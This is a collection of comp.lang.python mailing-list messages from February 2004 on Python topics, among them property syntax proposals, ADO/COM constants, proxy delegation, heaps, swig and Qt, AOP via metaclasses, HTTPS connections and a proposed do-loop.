>     def setx(self, value): self.__x = value
>     def delx(self): del self.__x
>     x = property(getx, setx, delx, "I'm the 'x' property.")
> 
> 
> I don't like this one either. It is not necessary because it describes
> something that should be clear by looking at the class/code. A
> convention would make the syntax clearer and more intuitive and by
> looking at the definition of a method you would know: This is a
> getter, setter or deleter. My proposal:
> 
> all getters start with __get__
> all setters start with __set__
> all deleters start with __del__
> 
> If someone uses:
> 
> prop.x = 5
> 
> Python checks whether the var 'x' exists on prop. If it does - it is
> set. If it doesn't exist Python checks for '__set__x' if it doesn't
> exist either... a AttributeError is raised:
> 
> 
> class PropertyExample(object):
>     """A demonstration class for the property idea.
> 
>     This class is used afterwards as follows:
>     prop = PropertyExample()
>     prop.x = 5 # __set__x(self, 5) is called behind the scenes
>     print prop.x # __get__x(self) is called behind the scenes
>     del prop.x # __del__x(self) is called behind the scenes"""
> 
>     def __init__(self):
>         self.__x = None
>         
>     def __del__x(self):
>         del self.__x
>     def __get__x(self):
>         return self.__x
>     def __set__x(self, value):
>         self.__x = value

You seem really fond of magic names...

By the way, Python 2.2 introduced the capacity for staticmethods and
properties and consciously decided not to add syntax for the same
until there was some experience in using these things.  So it's known
that there is some discomfort here, but it's not yet clear (to me, at
least) what a good syntax *is*.  I hope you're not too offended if I
say that your suggestion doesn't seem instantly wonderful.

> *** Problem: Many builtins are not necessary

Pah.  So what?  If you want minimailty scheme is over there ====>

> Many builtins are not necessary. To name a few: min / max / len
> 
> This functions should be defined on the class:

Says you!

[...]

> *** Problem: tuples are not necessary

Says you!  Here's a hint: hash([]).

[...]
> *** Problem: builtins list() dict() ...
> 
> A list, a dictionary, a str, an int, a float are builtin functions...
> 
> myList = list()
> myDict = dict()
> myString = str(45)

Pedantry: no they're not, they're builtin types.

I think you might be expecting something other of Python than what it
is.  Nothing you suggest is completely ridiculous, just, well,
slightly un-Pythonic.  I suggest you continue using Python for a few
more weeks and read your list again.

Cheers,
mwh

-- 
  MARVIN:  Oh dear, I think you'll find reality's on the blink again.
                   -- The Hitch-Hikers Guide to the Galaxy, Episode 12


From PPNTWIMBXFFC at spammotel.com  Wed Feb 25 05:21:17 2004
From: PPNTWIMBXFFC at spammotel.com (Marco Aschwanden)
Date: 25 Feb 2004 02:21:17 -0800
Subject: Thoughts about Python
References: <403B4963.4060303@compuserve.de><mailman.38.1077638089.8594.python-list@python.org>	<15c2d03b.0402241333.5f7a2738@posting.google.com>
	<mailman.67.1077661797.8594.python-list@python.org>
Message-ID: <15c2d03b.0402250221.23715675@posting.google.com>

"Terry Reedy" <tjreedy at udel.edu> wrote in message news:<mailman.67.1077661797.8594.python-list at python.org>...
> "Marco Aschwanden" <PPNTWIMBXFFC at spammotel.com> wrote
> 
> > How many "object oriented" languages do you know ...
> 
> Python is object-based and allows its flavor of object-oriented
> programming, but it is not restrictively objected-oriented way that Java
> and some other languages are.  One can write Python programs, even fairly
> large programs, with modules, statements, and functions, without ever using
> the class statement.
> 
> > Obviously my "ideas/thoughts" are MY "personal problem" with Python as
> > I understand the comments so far and I must first learn more Python
> > before I can state things that disturbed me while learning...
> 
> It is one thing to ask questions, another to express opinions, and a third
> to dogmatically present opinions and preferences as facts and shoulds.
> Perhaps you did more of the third than you intended.
> 
> Terry J. Reedy

I agree. Sorry for that.
Marco


From rupole at hotmail.com  Sat Feb 28 17:00:33 2004
From: rupole at hotmail.com (Roger Upole)
Date: Sat, 28 Feb 2004 14:00:33 -0800
Subject: ADO and COM contants
References: <403e4207$0$12847$3a628fcd@reader1.nntp.hccnet.nl>
Message-ID: <4040e17c_1@127.0.0.1>

You'll need to use makepy for the ADO library.
Once you create an instance of the object, the constants will
appear in win32com.client.constants, and then the code would
look like
   cmdQuery.CommandType = win32com.client.constants.adCmdStoredProc

For null parameters, most of the time you can use None and win32com will
do the right thing.

   hth
      Roger

"Boba" <b.ambrosius at hccnet.nl> wrote in message
news:403e4207$0$12847$3a628fcd at reader1.nntp.hccnet.nl...
> Hi,
> I'm using python as the language in ASP pages to query a database ussing
the
> com interface. I want to do a parameter query and I have to use constants
> like Null and Nothing. Does anyone know how to use the constants in
Python?
>
> Part of the code:
> #------------------
>  cmdQuery = win32com.client.Dispatch("ADODB.Command")
>  cmdQuery.ActiveConnection = cnn
>  cmdQuery.CommandText = "aStoredQuery"
>  cmdQuery.CommandType = adCmdStoredProc
>
>  # parameter: startdate
>  qryParm = win32com.client.Dispatch("ADODB.Parameter")
>  qryParm.Name = "parDateStart"
>  qryParm.Type = adDBDate
>  tmpDate =
> req.documentElement.selectSingleNode("//request_parDatBegin").text
>  qryParm.Value = Null  # at least sometimes
>  cmdQuery.Parameters.Append(qryParm)
> #---------------
> end code
>
> Bob
>
>




From nospam-deets at web.de  Mon Feb  9 09:34:21 2004
From: nospam-deets at web.de (Diez B. Roggisch)
Date: Mon, 09 Feb 2004 15:34:21 +0100
Subject: Transfer undefined class methods to attribute's method.
References: <c084pg$4m2$1@news.tudelft.nl>
Message-ID: <c085r6$134qcc$1@ID-111250.news.uni-berlin.de>

> Maybe I was a little too detailed in my previous post [same title]. I can
> boil down my problem to this: say I have a class A that I encapsulate with
> a class Proxy. Now I just want to override and add some functionality (see
> my other post why). All functionality not defined in the Proxy class
> should be delegated (I can't use inheritance, see other post). It should
> be possible to achieve this using Python's great introspection
> possibilities, but I can't find out how. Any help would be really
> appreciated!

Why don't you just scan the underlying object for all methods it has (using
the objects __dict__, filtering with type method) and add these methods on
your proxy when there exists no method of the same name (using the proyies
dict)? That would eliminate the need of a general-purpose method call
interception and do what you want.

I'm a little bit too lazy right now create a working example, but I think
you should be able to come up with your own in no time - if not, ask again
(and someone more enlightened might answer, or I get down on my a** and
write something... :))

-- 
Regards,

Diez B. Roggisch


From gerrit at nl.linux.org  Mon Feb  9 13:49:00 2004
From: gerrit at nl.linux.org (Gerrit)
Date: Mon, 9 Feb 2004 19:49:00 +0100
Subject: converting base class instance to derived class instance
In-Reply-To: <20040209150717.GA5975@titan.progiciels-bpi.ca>
References: <930ba99a.0401200413.5fae6fb9@posting.google.com>
	<100qm0soklj3439@news.supernews.com>
	<20040209150717.GA5975@titan.progiciels-bpi.ca>
Message-ID: <20040209184900.GA32658@nl.linux.org>

Fran???ois Pinard wrote:
> By the way, what is a "heap type"?

I don't know, but:

http://foldoc.doc.ic.ac.uk/foldoc/foldoc.cgi?query=heap&action=Search

heap

1. <programming> An area of memory used for dynamic memory allocation
where blocks of memory are allocated and freed in an arbitrary order and
the pattern of allocation and size of blocks is not known until run
time. Typically, a program has one heap which it may use for several
different purposes.

Heap is required by languages in which functions can return arbitrary
data structures or functions with free variables (see closure). In C
functions malloc and free provide access to the heap.

Contrast stack. See also dangling pointer.

2. <programming> A data structure with its elements partially ordered
(sorted) such that finding either the minimum or the maximum (but not
both) of the elements is computationally inexpensive (independent of the
number of elements), while both adding a new item and finding each
subsequent smallest/largest element can be done in O(log n) time, where
n is the number of elements.

Formally, a heap is a binary tree with a key in each node, such that all
the leaves of the tree are on two adjacent levels; all leaves on the
lowest level occur to the left and all levels, except possibly the
lowest, are filled; and the key in the root is at least as large as the
keys in its children (if any), and the left and right subtrees (if they
exist) are again heaps.

Note that the last condition assumes that the goal is finding the
minimum quickly.

Heaps are often implemented as one-dimensional arrays. Still assuming
that the goal is finding the minimum quickly the invariant is

   heap[i] <= heap[2*i] and heap[i] <= heap[2*i+1] for all i,


where heap[i] denotes the i-th element, heap[1] being the first.
Heaps can be used to implement priority queues or in sort algorithms.


And:

http://www.python.org/dev/doc/devel/lib/module-heapq.html
Heaps are arrays for which heap[k] <= heap[2*k+1] and heap[k] <=
heap[2*k+2] for all k, counting elements from zero. For the sake of
comparison, non-existing elements are considered to be infinite. The
interesting property of a heap is that heap[0] is always its smallest
element.

Gerrit.

-- 
PrePEP: Builtin path type
    http://people.nl.linux.org/~gerrit/creaties/path/pep-xxxx.html
Asperger's Syndrome - a personal approach:
	http://people.nl.linux.org/~gerrit/english/



From tim.jarman at lineone.net  Mon Feb 16 16:53:37 2004
From: tim.jarman at lineone.net (Tim Jarman)
Date: Mon, 16 Feb 2004 21:53:37 +0000
Subject: mailing list problems?
In-Reply-To: <DE3D72AE-5FF6-11D8-BE5B-000A959CB2EC@netmail.to>
References: <20040214221839.GA22649@nl.linux.org> <c0o5ht$uvk$1@sea.gmane.org>
	<DE3D72AE-5FF6-11D8-BE5B-000A959CB2EC@netmail.to>
Message-ID: <200402162153.37084.tim.jarman@lineone.net>

On Sunday 15 Feb 2004 8:38 pm, Wayne Folta wrote:
> > I have today seen only 5 mailing list messages to the python-list.
> > I see >30 messages in c.l.py newsgroup.
> > Do other people experience problems as well, or do I have a problem at
> > my
> > end?
>
> No, I've only seen a handful of messages in the last couple of days,
> too. It's strange to see more messages in the Mac Python list than in
> this one. (My domain is ".to", but I'm in the US, if that makes a
> difference.)

Same in the UK (on a .net domain). Other lists I'm on seem to have the 
expected volume of traffic, although it's hard to be sure as the others are 
all much less busy than c.l.p.

I'm also seeing *a lot* of spam, which may or may not be relevant.

Tim J



From Yomanium at Yomanium.com  Mon Feb  9 08:48:34 2004
From: Yomanium at Yomanium.com (Yomanium Yoth Taripoät II)
Date: Mon, 9 Feb 2004 14:48:34 +0100
Subject: [pyGame] set position
Message-ID: <gcMVb.113$Fd.67@newsr2.u-net.net>

Hi,

how to set pygame screen position, on the desktop??

default create is on center, and i want to change it.

thx in advance.




From harry.g.george at boeing.com  Fri Feb 20 05:09:46 2004
From: harry.g.george at boeing.com (Harry George)
Date: Fri, 20 Feb 2004 10:09:46 GMT
Subject: Python Productivity Gain?
References: <LaBXb.8774$g95.1612@fe3.columbus.rr.com>
	<mailman.86.1077050210.31398.python-list@python.org>
	<a8623416.0402181148.20865556@posting.google.com>
	<xqxbrnvbhvk.fsf@cola2.ca.boeing.com>
	<mailman.90.1077242253.27104.python-list@python.org>
Message-ID: <xqxfzd66p05.fsf@cola2.ca.boeing.com>

"Terry Reedy" <tjreedy at udel.edu> writes:

> "Harry George" <harry.g.george at boeing.com> wrote in message
> news:xqxbrnvbhvk.fsf at cola2.ca.boeing.com...
> > It is common for a ComSci prof or grad student to crank up such a
> > study, using undergrad and grad students as the subjects.  These
> > subjects can generally be coerced to participate ("it is required for
> > the course").  For "novice programmer" research, high school students
> > are often used.  These tend to be self-selected, and ar not
> > representative for the general population.
> 
> The key feature that makes a study/experiment statistically analyzable is
> randomization of subjects to treatments.  So, to compare two languages
> (simplest case), you have everyone write programs in both languages, but
> randomize the order (half one way, the other half the other way) or you
> have one half do language A and the other half B, again randomizing the
> assigment.  Also, if there is any subjectivity in the evaluation of
> results, then the judges should not know the language when judging the
> output.
> 
> Do the studies you speak of meet these criteria?
> 
> Terry J. Reedy
> 
> 

The key is to use a valid experimental model in the first place.  All
the randomizing, DOE, double blind, ANOVA, discriminant analysis, factor
analysis, etc in the world doesn't help if the model is a poor
rendition of the intended target.  

I'm not in this field myself, and only know of it from scanning the
literature on language selection some time ago.  My impression was
that the academic papers using students as subjects did an honest job
of designing the experiment and probably got honest results for their
experimental population.  And they usually discussed their concerns
that the model was not very representative of industry practice.


> 
> 

-- 
harry.g.george at boeing.com
6-6M21 BCA CompArch Design Engineering
Phone: (425) 342-0007


From scharffe at rintintin.colorado.edu  Thu Feb 12 15:02:49 2004
From: scharffe at rintintin.colorado.edu (Eric Scharff)
Date: 12 Feb 2004 20:02:49 GMT
Subject: Where is pysol?
Message-ID: <c0gm59$7t$1@peabody.colorado.edu>

As a stress-test for tkinter of Python 2.3 on the Mac (yeah, that's it) I
wanted to see if I could compile and run pysol.  (Porting the sound server to
Mac OS X would be nice too.)  When I tried www.oberhumer.com I got a message
stating "DNS change in progress. Please re-visit later", www.pysol.org states
"under construction - new site should be ready Real Soon Now", and the pysol
sourceforge project has no files.

Where can pysol be found?  Is there a recent complete source release?

Hoping that pysol is still somewhere available,

-Eric


From Holger.Joukl at LBBW.de  Fri Feb 20 10:43:49 2004
From: Holger.Joukl at LBBW.de (Holger Joukl)
Date: Fri, 20 Feb 2004 16:43:49 +0100
Subject: AOP and metaclasses ['LBBW': checked]
Message-ID: <OF7ABFD054.6D6D46B9-ONC1256E40.00559FB6@lbbw.sko.de>


Can you do s.th. like that with metaclasses, at runtime I mean?
Maybe you could use another approach, taken from the python cookbook,
adding
functionality to a class (see
http://aspn.activestatee.com/ASPN/Cookbook/Python):

>>> import new, types
>>>
>>> class UserClass:
...     def method1(self, a):
...         self.m1 = a
...     def method2(self):
...         print "UserClass.method2"
...     def show(self):
...         print self.m1
...
>>> def enhance(klass, methodName, replacer):
...     method = getattr(klass, methodName)
...     setattr(klass, methodName, new.instancemethod(lambda *args,
**kwargs: apply(replacer, (method, ) + args, kwargs), None, klass))...
>>> def logcalls(meth, self, *args, **kwargs):
...     print "calling", meth
...     return meth(self, *args, **kwargs)
...
>>> def enhance_all(klass, with):
...     for name, attr in klass.__dict__.items():
...         if isinstance(attr, types.FunctionType):
...             enhance(klass, name, logcalls)
...
>>> enhance_all(UserClass, logcalls)
>>>
>>> u = UserClass()
>>> u.method1(234)
calling <unbound method UserClass.method1>
>>> u.method2()
calling <unbound method UserClass.method2>
UserClass.method2
>>>
__________________


Im trying to use AOP techniques on python but, even if I understand
the idea behind metaclasses, I cant find a way to use AOP in a dynamic
way.

What im trying to do is to weave an aspect to a class at runtime, but
i don't want to include any special code or definition in the class
itself. Also, i want to do
it just for some particular classes. Is there any way to do this?

I know its possible to apply an aspect to all the classes by
redefining __metaclass__, and that I can do the same with a single
class by assigning to __metaclass__ inside the class definition.
However, I want to avoid the last step, so i can apply the aspect to
any class.

thanks!!

saludos! santiago.
--
 http://mail.python.org/mailman/listinfo/python-list

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cannot be guaranteed to be secure. If verification is required, please
request a hard copy version.






From fumanchu at amor.org  Sun Feb 29 15:50:27 2004
From: fumanchu at amor.org (Robert Brewer)
Date: Sun, 29 Feb 2004 12:50:27 -0800
Subject: what is the ordering of an AST tree?
Message-ID: <DE1CF2B4FEC4A342BF62B6B2B334601E561E0D@opus.amorhq.net>

Stephen Emslie wrote:
> What I am trying to do then is essentially locate the most recent
> assignment that a variable has been given. The way I would 
> assume to do
> that would be to traverse up the tree (assuming it is in fact 
> in the order
> of the program flow) and search for the closest ASSIGN node 
> that involves
> the variable name specified.
> 
> The trick is now that I dont know how to traverse up an AST 
> tree. And from
> what I've seen its a bit nasty. Any ideas on how to traverse 
> up an AST tree?

All you have to do now is recursively unpack the tuple that the compiler
module spent so much time and effort packing up for you. ;) If speed is
an issue, examine the source code for compiler.Transformer and rewrite
it* to skip all the tuple-creation code, and just trap the assignment
nodes.


Robert Brewer
MIS
Amor Ministries
fumanchu at amor.org

* In a new module, of course! Don't hose your base install. ;)



From premshree_python at yahoo.co.in  Sat Feb 21 08:36:15 2004
From: premshree_python at yahoo.co.in (=?iso-8859-1?q?Premshree=20Pillai?=)
Date: Sat, 21 Feb 2004 13:36:15 +0000 (GMT)
Subject: Socket Programming in Python
In-Reply-To: <xidZb.31099$5W3.7576@nwrddc02.gnilink.net>
Message-ID: <20040221133615.32878.qmail@web8306.mail.in.yahoo.com>

 --- omission9 <omission9 at invalid.email.info> wrote: >
Premshree Pillai wrote:
> 
> > For the uninitiated: "Socket Programming in
> Python" at
> > evolt.org:
>
http://evolt.org/article/Socket_Programming_in_Python/17/60276/index.html
> > 
> > =====
> > -Premshree
> > [http://www.qiksearch.com/]
> > 
> >
>
________________________________________________________________________
> > Yahoo! India Insurance Special: Be informed on the
> best policies, services, tools and more. 
> > Go to:
> http://in.insurance.yahoo.com/licspecial/index.html
> > 
> What a retarded tutorial. If that article is any
> indication of Mumbai 
> University it seems that institution is to be about
> on par with an 
> american vocational high school.
> 
> -- 
> http://mail.python.org/mailman/listinfo/python-list 

Just for your information, that article has nothing to
do with Mumbai University. It's just a simple tutorial
on sockets for people who don't know about it.

=====
-Premshree
[http://www.qiksearch.com/]

________________________________________________________________________
Yahoo! India Insurance Special: Be informed on the best policies, services, tools and more. 
Go to: http://in.insurance.yahoo.com/licspecial/index.html



From nospam-deets at web.de  Tue Feb  3 09:09:30 2004
From: nospam-deets at web.de (Diez B. Roggisch)
Date: Tue, 03 Feb 2004 15:09:30 +0100
Subject: What's the matter with pydoc.org?
References: <bvo98e$tqnei$1@ID-95936.news.uni-berlin.de>
Message-ID: <bvoa2a$u5pp0$1@ID-111250.news.uni-berlin.de>

> Can someone please check if pydoc.org works ok? I see only strange
> stuff...
> 
> Is that link ok?
> 
> http://pydoc.org/

Try http://www.python.org/doc
I don't know about pydoc.org - but seems like its a private site.

Regards,

Diez


From pinard at iro.umontreal.ca  Tue Feb 17 16:43:37 2004
From: pinard at iro.umontreal.ca (=?iso-8859-1?Q?Fran=E7ois?= Pinard)
Date: Tue, 17 Feb 2004 16:43:37 -0500
Subject: sets and subsets
In-Reply-To: <iomr205ir8n2fgtrmqaeg30pe45c3v4oet@4ax.com>
References: <c0e4g3$r1$1@solaris.cc.vt.edu> <zcxWb.464065$JQ1.270296@pd7tw1no>
	<4gxWb.39659$P17.14674@fed1read03> <c0e890$6hu$1@solaris.cc.vt.edu>
	<c0e9n4$6gf$1@panix3.panix.com>
	<iomr205ir8n2fgtrmqaeg30pe45c3v4oet@4ax.com>
Message-ID: <20040217214337.GB12973@alcyon.progiciels-bpi.ca>

[Tim Roberts]
> aahz at pythoncraft.com (Aahz) wrote:

> >[content at *bottom*]
> >...
> >A: Because it messes up the order in which people normally read text.
> >Q: Why is top-posting such a bad thing?
> >A: Top-posting.
> >Q: What is the most annoying thing on usenet?

> You know, it may be time for this crusade to end.

I'm glad that Aahz has the courage of crusading, so sparing some of
mine! :-) In my case at least, crusades are not fun, despite necessary
at times.  This particular crusade should only end once people are
educated enough to spontaneously do the proper thing.

> In this particular thread, the content quickly grew larger than my
> newsreader's preview pane, so bottom-posting requires me to move the
> focus to the preview pane and scroll down to read.

People are likely over-quoting, then.  Proper quoting is an art, and
when done correctly, quoted material is not an annoyance.  On the Python
list, most messages do well in that respect and hopefully, most people
get good habits by mere observation and imitation.  It is not bad to
remind people, once in a while, for those who are more slow to get it.

P.S. - Mail or news readers may have an option to hide quoted material.
I sometimes use it in Mutt for messages which are not crafted correctly.

-- 
Fran?ois Pinard   http://www.iro.umontreal.ca/~pinard



From tismer at stackless.com  Mon Feb 23 22:09:20 2004
From: tismer at stackless.com (Christian Tismer)
Date: Tue, 24 Feb 2004 04:09:20 +0100
Subject: [Stackless] Re: Stackless 3.0 for Python 2.3: new binaries
In-Reply-To: <403ABD36.50708@stackless.com>
References: <mailman.145.1077390882.27104.python-list@python.org>	<403A8E4F.7080801@aon.at>	<403A9C1E.9040509@stackless.com>	<C3CCD5CD-6666-11D8-A902-000A95686CD8@redivi.com>
	<403ABD36.50708@stackless.com>
Message-ID: <403AC060.2050202@stackless.com>

Christian Tismer wrote:
OK got it: It must be functype which tends
to produce infinite recursion:
This works:

int init_prickelpit(void)
{
	if (0
		|| init_codetype()
     //    || init_functype()
         || init_celltype()
		|| init_frametype()
		|| init_tracebacktype()
		|| init_moduletype()
		|| init_moduledicttype()
         || init_itertype()
		|| init_methodtype()
		|| init_generatortype()
         || init_dictitertype()
         || init_enumtype()
         || init_enumfactorytype()
         || init_listitertype()
         || init_rangeitertype()
         || init_tupleitertype()
		) return -1;
     return 0;
}

So I think I have to change pickling of functions and we are there.
I guess this is not a Tkinter issue, but it would have hit us
at some time, later.

good night finally! :-) chris

(yes, hacks like this are my strength)

-- 
Christian Tismer             :^)   <mailto:tismer at stackless.com>
Mission Impossible 5oftware  :     Have a break! Take a ride on Python's
Johannes-Niemeyer-Weg 9a     :    *Starship* http://starship.python.net/
14109 Berlin                 :     PGP key -> http://wwwkeys.pgp.net/
work +49 30 89 09 53 34  home +49 30 802 86 56  mobile +49 173 24 18 776
PGP 0x57F3BF04       9064 F4E1 D754 C2FF 1619  305B C09C 5A3B 57F3 BF04
      whom do you want to sponsor today?   http://www.stackless.com/




From ross at karchner.com  Fri Feb 20 11:00:07 2004
From: ross at karchner.com (Ross M Karchner)
Date: Fri, 20 Feb 2004 11:00:07 -0500
Subject: Gadfly Q
In-Reply-To: <30875970.0402200736.26a18e2c@posting.google.com>
References: <30875970.0402200736.26a18e2c@posting.google.com>
Message-ID: <HJSdnWIC2K2VsqvdRVn-jA@giganews.com>

Ian Pellew wrote:
> Hi all;
> 
> Is there a Windows version of gadfly anywhere?
> 
> All my searching gets me to Linux stuff
> (not that I have anything against Linux, rather I use Solaris)
> 
> Regards
> Ian

The FAQ indicates that Gadfly is pure Python and should run anywhere 
Python does:

http://gadfly.sourceforge.net/faq.html#where-does-it-run

-Ross


From no at spam.pls  Fri Feb 20 13:17:57 2004
From: no at spam.pls (Matthias)
Date: 20 Feb 2004 19:17:57 +0100
Subject: Python Productivity Gain?
References: <LaBXb.8774$g95.1612@fe3.columbus.rr.com>
	<mailman.86.1077050210.31398.python-list@python.org>
	<a8623416.0402181148.20865556@posting.google.com>
	<xqxbrnvbhvk.fsf@cola2.ca.boeing.com>
	<36wvfm2hy2y.fsf@goya03.ti.uni-mannheim.de>
	<xqxk72i6pcv.fsf@cola2.ca.boeing.com>
Message-ID: <36wllmxwr6y.fsf@goya02.ti.uni-mannheim.de>

Harry George <harry.g.george at boeing.com> writes:
> I was talking about "programmer productivity" studies in general, not
> specifically Python.  My point was that the experimental model is
> convenient but not a very good representation of reality.

When people started to approach medicine scientifically I'm sure they
also were overwhelmed by the complexities of their endeavor at first.

I don't question that reality must be strongly simplified in order to
do experiments.  But you always have to simplify in order to
comprehend, explain, communicate.  The question is whether
simplifications are made explicitly and consciously or not.

> Google for "programmer productivity"

I checked the first 30 out of the 16,000 pages found.  It is about
what I expected: Mostly advertisement for products and "solutions".
Maybe one of the pages might qualify as an empirical study.  

This industry is on a random walk... ;-))


From torsten.marek at student.uni-tuebingen.de  Mon Feb 16 07:32:47 2004
From: torsten.marek at student.uni-tuebingen.de (Torsten Marek)
Date: Mon, 16 Feb 2004 13:32:47 +0100
Subject: swig problem
In-Reply-To: <c0qcpm$sir$1@news.rz.uni-karlsruhe.de>
References: <c0qcpm$sir$1@news.rz.uni-karlsruhe.de>
Message-ID: <c0qd9g$p8e$1@newsserv.zdv.uni-tuebingen.de>

Uwe Mayer schrieb:
> Hi,
> 
> I was trying to extend a Qt class in C++ and using this in my Python
> application. I got problems importing the python module:
> 
> I was extending QListViewItem to QListViewItemNumeric. Then I used the
> following to generate the python extension:
> 
> $ gcc -c -I/usr/include/qt3 -I/usr/include/python2.3
> QListViewItemNumeric.cpp
> 
> Then I used swig with an interface file:
> -- snip --
> %module QListViewItemNumeric
> %{
> #include <qlistview.h>
> #include "QListViewItemNumeric.h"
> %}
> class QListViewItemNumeric : public QListViewItem {
> public:
>   QListViewItemNumeric( QListView * parent );
>   virtual void setNumeric( int columns = 0 );
> };
> -- pins --
> 
> And compiled the result:
> 
> $ swig -c++ -python QListViewItemNumeric.i \
> QListViewItemNumeric.i:6: Warning(401): Nothing known about class
> 'QListViewItem'. Ignored.
> 
> $ gcc -c -I/usr/include/qt3 -I/usr/include/python2.3 \
> QListViewItemNumeric_wrap.cxx 
> 
> And linked both together with qt:
> 
> $ gcc -shared QListViewItemNumeric.o QListViewItemNumeric_wrap.o -lqt -o \
> _QListViewItemNumeric.so
> 
> 
> When I omitted the "-lqt" python import told me:
> ImportError: ./_QListViewItemNumeric.so: undefined symbol:
> _ZN13QListViewItemC2EP9QListView
> 
> which I figured out from the manual means I have to link it against the Qt
> library. I am not sure wether "-lqt" is the right thing to do.
> 
> However, using the "-lqt" switch I now get a:
> 
> 
>>>>import QListViewItemNumeric
> 
> Traceback (most recent call last):
>   File "<stdin>", line 1, in ?
>   File "QListViewItemNumeric.py", line 5, in ?
>     import _QListViewItemNumeric
> ImportError: ./_QListViewItemNumeric.so: undefined symbol:
> _ZTV20QListViewItemNumeric
> 
> 
> Can anyone help me over these first steps of using swig?

Unless you insist on using swig (in that case, I can't help you), you 
might want to try out sip (www.riverbankcomputing.co.uk/sip) to work 
with Qt and Python. To find out how to get your (own) Qt classes to work 
with Python, you can have a look at the interface files of PyQt, there 
are plenty of examples.

greets

Torsten


From wstandley at netpv.com  Tue Feb 17 09:20:15 2004
From: wstandley at netpv.com (Will)
Date: Tue, 17 Feb 2004 14:20:15 GMT
Subject: Comm Port support in Python ?
Message-ID: <zqpYb.47101$Bb.750778@twister.tampabay.rr.com>

Does Python have comm port support built in or does someone have a tool for
sending and receiving data in & out of a PC com port?

How about for the Mac ?

Thanks - Will




From ville at spammers.com  Thu Feb 19 14:55:54 2004
From: ville at spammers.com (Ville Vainio)
Date: 19 Feb 2004 21:55:54 +0200
Subject: PEP-315 ("do" loop)
References: <mailman.55.1076984559.31398.python-list@python.org>
	<c10dh7$agt$1@news.service.uci.edu>
Message-ID: <du7hdxmx2r9.fsf@mozart.cc.tut.fi>

>>>>> "Josiah" == Josiah Carlson <jcarlson at nospam.uci.edu> writes:

    Josiah> Personally, I find altering the syntax of while, or adding
    Josiah> the 'do' to be a wart.  I've never had problems
    Josiah> understanding or writing code like the following; while 1:
    Josiah> #setup if <condition>: break #body

    Josiah> If I had a vote, I'd be -1 on PEP 315.

Amen to that! I think this is only a matter of education. People
should be told that 'while 1' construct is a good, simple, pythonic
way to do the thing. They are often prejudiced, thinking that there is
something 'wrong' with the construct. Hearing that it's ok to do
things this way can actually be very liberating: there is no reason to
feel guilty, and they will quite soon learn to appreciate how natural
and versatile the construct is.

Naming it 'loop' would drive the point even further, of course.

-- 
Ville Vainio   http://tinyurl.com/2prnb


From jsplice at hotmail.com  Thu Feb  5 17:35:57 2004
From: jsplice at hotmail.com (John Glista)
Date: 5 Feb 2004 14:35:57 -0800
Subject: HTTPSConnection Problems
Message-ID: <bae2f23d.0402051435.5df63d83@posting.google.com>

Hello.  I'm having a bit of a problem with the HTTPSConnection class. 
It is part of the httplib module.  I discovered that it is not
neccessary to specifiy a key and a certificate when opening an HTTPS
connection.  I tested this with several sites, and successfully opened
https connections with them.  However, I'm having problems with the
server I'm trying to connect to.  It is a Novell Bordermanager server
that tunnels all Internet traffic here at my college.  When first
accessing the web through mozilla, the Bordermanager server doesn't
see you as being authenticated, so it redirects you to a web login
page.  Utlimately what I would like to do is have my python script
submit the CGI form with my username and password so I don't have to
type this in everytime.  However, I'm having problems using the
HTTPSConnection class to connect to it.  If I don't give it a key and
cert file i get the following error: socket.error: (104, 'Connection
reset by peer')....so it appears the sever doesn't want  me to
connect.  I did a port scan on the server to ensure that it was using
the default https port, and it is.  What I don't understand is why the
HTTPSConnection is asking for a private key.  The private key resides
on the server; clients do not have access to this.  Clients use the
public key to decrypt the certificate.  I tried creating a public key
file by looking at it in the certificate properties in mozilla, but
python still complians that it wants a private key.  I do not have
access to the key.  I do have the certificate, which i saved using IE
and used openssl to convert it to a PEM formated file (this is what
HTTPSConnection says it needs).  Can anyone offer any help here?


From anthony at interlink.com.au  Wed Feb 18 11:18:59 2004
From: anthony at interlink.com.au (Anthony Baxter)
Date: Thu, 19 Feb 2004 03:18:59 +1100
Subject: mailing list problems?
In-Reply-To: <c0tn4a$29h$1@panix3.panix.com>
References: <20040214221839.GA22649@nl.linux.org>	<200402162153.37084.tim.jarman@lineone.net>	<20040217093626.GA3162@nl.linux.org>	<mailman.70.1077037788.31398.python-list@python.org>
	<c0tn4a$29h$1@panix3.panix.com>
Message-ID: <40339073.2050806@interlink.com.au>

Aahz wrote:
> cron also wasn't running on creosote; I wonder if there's any connection?
> 
> (For the onlookers, creosote.python.org == www.python.org)

I can't see how - mpo is a Linux box, in the United States, while
creosote is a FreeBSD box in the Netherlands. There's very little
shared between them.

It's possible, I guess, that one of those people silly enough to
be given root privs went on a cron-destroying rampage. I'm pretty
sure it wasn't me.



-- 
Anthony Baxter     <anthony at interlink.com.au>
It's never too late to have a happy childhood.



From Holger.Joukl at LBBW.de  Thu Feb 26 07:05:54 2004
From: Holger.Joukl at LBBW.de (Holger Joukl)
Date: Thu, 26 Feb 2004 13:05:54 +0100
Subject: Antwort: Play with classes ['LBBW': checked]
Message-ID: <OF1DA9D7B2.DF61DC52-ONC1256E46.0041E928-C1256E46.00426CA5@lbbw.sko.de>


I have the following classes defined

ModeA, ModeB, TypeA, TypeB, TypeC, SubtypeA, SubtypeB.

Supose the user whant to combine ModeA with TypeB and SubtypeB, so I need
something like

class UserClass(ModeA, TypeB, SubtypeB):
        pass
_________________________________

You might do

>>> class A:
...     a=1
...
>>> class B:
...     b=2
...
>>> exec("class UserClass(A, B): pass")
>>> u = UserClass()
>>> u
<__main__.UserClass instance at c7930>

or even with methods, but you need correct indentation:
>>> exec("""
... class UserClass(A, B):
...     def __init__(self):
...             print "UserClass.__init__"
... """)
>>> UserClass
<class __main__.UserClass at b7880>
>>> u=UserClass()
UserClass.__init__

Greetings
  Holger

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From dwelch91.nospam at comcast.net  Thu Feb  5 21:05:52 2004
From: dwelch91.nospam at comcast.net (djw)
Date: Fri, 06 Feb 2004 02:05:52 GMT
Subject: Newbie question on tuples
In-Reply-To: <mailman.1271.1076019007.12720.python-list@python.org>
References: <b4a8ffb6.0402051309.4292ccf1@posting.google.com>	<16418.45791.669094.323512@montanaro.dyndns.org>
	<mailman.1271.1076019007.12720.python-list@python.org>
Message-ID: <3ECUb.226676$I06.2497383@attbi_s01>

Jonathan Daugherty wrote:

> # Tuples don't have an index method, but lists do, so you can list-ify your
> # tuple:
> 
> They most certainly do.
> 
> --
> 
>   Jonathan Daugherty
>   http://www.cprogrammer.org
> 
>   "It's a book about a Spanish guy called Manual, you should read it."
>                                                             -- Dilbert
> 

Huh?

 >>> ("rock", "scissors", "paper").index("rock")
Traceback (most recent call last):
